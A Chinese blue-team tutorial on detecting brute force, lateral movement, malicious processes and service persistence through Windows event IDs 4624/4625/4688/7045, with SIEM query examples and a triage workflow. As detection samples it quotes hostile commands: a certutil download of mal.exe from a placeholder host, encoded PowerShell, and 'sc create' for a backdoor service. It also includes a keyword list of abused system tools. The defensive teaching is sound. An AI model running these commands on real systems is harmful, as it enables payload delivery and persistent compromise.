企业官网建设流程全解析

蓝队：Windows 事件日志研判核心（4624/4625/4688/7045）

定位：日志检测是蓝队告警研判、入侵溯源最核心能力，SIEM / 事件查看器是载体。
目标：看懂 4 个核心 ID，区分正常行为和恶意行为，写研判思路、提取取证字段，排查横向移动、暴力破解、进程后门、服务持久化。

注意：SIEM：Security Information and Event Management，安全信息与事件管理，SOC / 蓝队的日志集中分析平台

前置基础

1. 工具

1. 事件查看器（eventvwr.msc）：Windows 原生，本地看日志。
   路径：应用程序和服务日志 → Windows 日志 →安全（Security，最重要）
2. SIEM（如奇安信网神、Splunk、ELK 等）：集中收集多主机日志，做告警、检索、统计。蓝队日常主要在 SIEM 检索，事件查看器用于登录目标主机本地取证。

安全日志默认不会记录全部事件，需要本地组策略开启审计策略：
secpol.msc→ 本地策略 → 审核策略（基础策略日志捕获不稳定，不能捕获4688事件）/高级审核策略
需要开启：

• 审计登录事件（4624/4625）
• 审计进程创建（4688，默认关闭！必须开启）
• 审计系统事件（7045 属于系统日志，系统自行记录不由策略控制）

注意：高级审核策略会覆盖本地审核策略，优先执行高级策略

2. 日志分类区分

• 安全日志（Security）：4624、4625、4688
• 系统日志（System）：7045

逐个事件 ID 精讲（重点字段 + 正常 / 恶意场景 + 蓝队研判点）

① Event ID：4624 【成功登录】Security 日志

含义：账户成功登录到本机，是蓝队溯源最常用日志。

关键：登录类型LogonType，这是区分登录方式的灵魂！

LogonType（登录类型对照表，只记高频）

表格

补充：特殊类型11时电脑使用微软账户主机离线登录成功会产生这个日志

4624 核心字段

• SubjectUserSid/SubjectUserName：发起登录的上下文账号（前置账号）
• TargetUserSid/TargetUserName：本次登录成功的账号（被登录账号）
• TargetDomainName：域 / 机器名（NT AUTHORITY是 Windows 内置账户的虚拟域，本地系统账号都归属这里）
• LogonType：登录类型（重中之重）
• LogonId：登录会话 ID（可关联后续 4688 进程）
• LogonProcessName Advapi：Advapi = Advapi32.dll，Windows API 库，专门负责服务登录、安全相关操作，Type5 服务登录固定是 Advapi
• AuthenticationPackageName Negotiate：认证包名称。Negotiate 是协商包，自动选择 NTLM 或者 Kerberos，本机内部服务登录默认使用 Negotiate。

✅正常示例

员工 RDP 登录服务器，LogonType=10，源 IP 为办公内网 IP，账号是业务域账号。

⚠️恶意告警场景

1. 短时间大量 4625 失败后出现单条 4624 成功→ 暴力破解成功
2. LogonType=3，源 IP 是陌生内网机器、管理员账号登录 → SMB 横向移动
3. LogonType=10RDP，源 IP 外网陌生 IP，本地管理员账号登录 → RDP 爆破拿下机器

蓝队研判口诀：先看 LogonType，再抓源 IP，核对账号是否合规

② Event ID：4625 【登录失败】Security 日志

含义：登录尝试失败，暴力破解告警的源头。

4625 大量爆发，大概率是爆破；但是也要区分误报。

核心字段

• TargetUserName：尝试登录的账号
• LogonType：登录方式
• Status：失败状态码（重点）
• IpAddress：攻击源 IP
• FailureReason：失败原因

Status 失败码高频

• 0xC000006A：密码错误（最常见，爆破）
• 0xC0000072：账号禁用
• 0xC0000064：账号不存在（攻击者扫账号字典）

✅正常场景

员工输错 1 次密码，偶尔单条 4625。

⚠️恶意场景（SIEM 告警规则常用）

同一源 IP，5 分钟内出现≥10 条 4625，账号是 administrator 等管理员账号 → 触发暴力破解告警。

注意误报：某些应用自动重连、服务密码过期，也会产生批量 4625，要结合业务判断。

蓝队研判：4625 是预警；如果后面紧跟着 4624，就是失陷。

③ Event ID：4688 【进程创建事件】Security 日志（重中之重，默认关闭审计！）

含义：系统新建一个进程，记录：哪个父进程，创建了什么子进程，带完整命令行。

蓝队溯源后门、恶意命令、powershell、wmipexec、psexec 首选日志。
⚠️ 组策略必须开启：【审计进程创建】，并且勾选记录命令行参数，否则 CommandLine 字段为空，日志废掉。

4688 核心字段

• SubjectUserName：执行创建进程的账号
• NewProcessId：新进程 PID
• NewProcessName：进程路径（exe 完整路径）
• CommandLine：完整命令行，最关键！
• ParentProcessName：父进程路径
• ParentProcessId：父 PID
• LogonId：登录会话 ID，可以关联 4624 的登录会话，定位是谁的会话跑的恶意进程

恶意命令行特征（蓝队日常检索关键词）

powershell、cmd、wmic、certutil、bitsadmin、regsvr32、rundll32、Invoke-Expression、DownloadString、base64 编码、sct、ps1

示例恶意：

powershell -enc JABjAGwAaQBlAG4A...（base64） cmd /c whoami certutil -urlcache -split -f http://xxx/mal.exe

✅正常场景

资源管理器 explorer.exe 启动 notepad 记事本，命令行干净。

⚠️恶意场景

1. 父进程 services.exe/rundll32 启动 powershell 下载文件
2. wmipexec 横向移动：wmic 调用 cmd 执行命令
3. psexec 远程在目标机器生成 cmd 进程
4. 可疑路径：C:\temp、C:\Users\Public、C:\ProgramData下 exe 执行

蓝队技巧：用LogonId串联，4624 登录会话 → 同 LogonId 下全部 4688 进程，完整还原攻击者操作链。

④ Event ID：7045 【系统日志】服务安装事件 System 日志

含义：系统中新安装一个 Windows 服务。持久化！后门常用手段。

攻击者上传恶意 exe，注册成系统服务，机器重启自动运行。高危事件，SIEM 一般高优先级告警

7045 核心字段

• ServiceName：服务名称
• ServiceFileName：服务可执行文件路径（恶意程序位置）
• ServiceType：服务类型（内核驱动 / 用户态服务）
• StartType：启动类型（自动 = 开机自启，重点）
• AccountName：服务运行账号

✅正常场景

业务软件、杀毒软件安装注册服务，路径在C:\Program Files，厂商正规程序。

⚠️恶意场景

1. ServiceFileName 路径：C:\ProgramData\xxx.exe、C:\temp\a.exe、用户目录下 exe
2. 服务名随机字符串，无厂商签名
3. 启动类型为自动，运行账号 LocalSystem（最高权限）
4. 配套：同时出现 4688，命令行sc create创建服务（攻击者远程执行 sc 命令注册服务）

攻击链路示例：4624 (Type3 SMB 登录成功) → 4688 (sc create) → 7045 服务安装成功。整条入侵链完整。

蓝队研判完整攻击链路案例（横向移动 + 持久化）

场景：攻击者拿到一台机器账号密码，内网横向 SMB 登录

1. 源 IP：192.168.1.100，目标：192.168.1.101
2. 大量 4625 尝试 administrator 账号（爆破）
3. 一条 4624 成功，LogonType=3（网络登录，SMB），TargetUserName=administrator
4. 同会话 LogonId 下产生 4688：sc create backdoor binpath="C:\ProgramData\mal.exe" type=own start=auto
5. 触发 7045：服务 backdoor 安装，可执行文件 C:\ProgramData\mal.exe，自动启动

蓝队研判结论：内网横向移动，恶意服务持久化，主机失陷，立即隔离主机、溯源攻击源 IP。

SIEM 检索示例（可以直接用，奇安信网神 / Splunk 通用思路）

SIEM 检索语法伪代码

1. 暴力破解检索：

EventID=4625 AND TargetUserName IN ("administrator","admin") | stats count by IpAddress,TargetUserName | where count >=10

2. 登录成功横向移动：

EventID=4624 AND LogonType=3

3. 可疑进程创建：

EventID=4688 AND CommandLine IN ("*powershell*","*certutil*","*bitsadmin*","*wmic*")

4. 恶意服务安装：

EventID=7045 AND ServiceFileName NOT LIKE "C:\Program Files\*"

蓝队研判标准化流程（你做告警工单就按这个写）

1. 确认告警：SIEM 命中什么事件 ID、时间戳、主机 IP
2. 日志取证：调取对应主机原始日志（事件查看器验证，防止 SIEM 采集丢失）
3. 提取关键字段：源 IP、目标 IP、账号、LogonType、命令行、文件路径
4. 还原攻击链：按时间顺序串联 4625→4624→4688→7045
5. 区分误报 / 真实入侵：核对业务，是否运维正常操作
6. 处置建议：隔离主机、封禁攻击 IP、重置账号、查杀恶意程序
7. 工单输出：研判结论 + 证据截图 + 处置动作

常见坑（蓝队新手最容易踩）

1. ❌4688 没开命令行审计：日志只有进程名，看不到参数，无法判断恶意，环境配置必做。
2. ❌混淆 LogonType：Type3 不一定都是攻击，运维 SMB 拷贝文件也会产生，必须结合上下文。
3. ❌7045 在【系统日志】不是安全日志，在安全日志里搜 7045 会搜不到！
4. ❌只看单条日志研判：不能单看一条 4624 就判定入侵，一定要看前后时间线日志链。
5. ❌4624 的 SubjectUserSid 和 TargetUserSid 搞反：Target 才是登录进去的账号。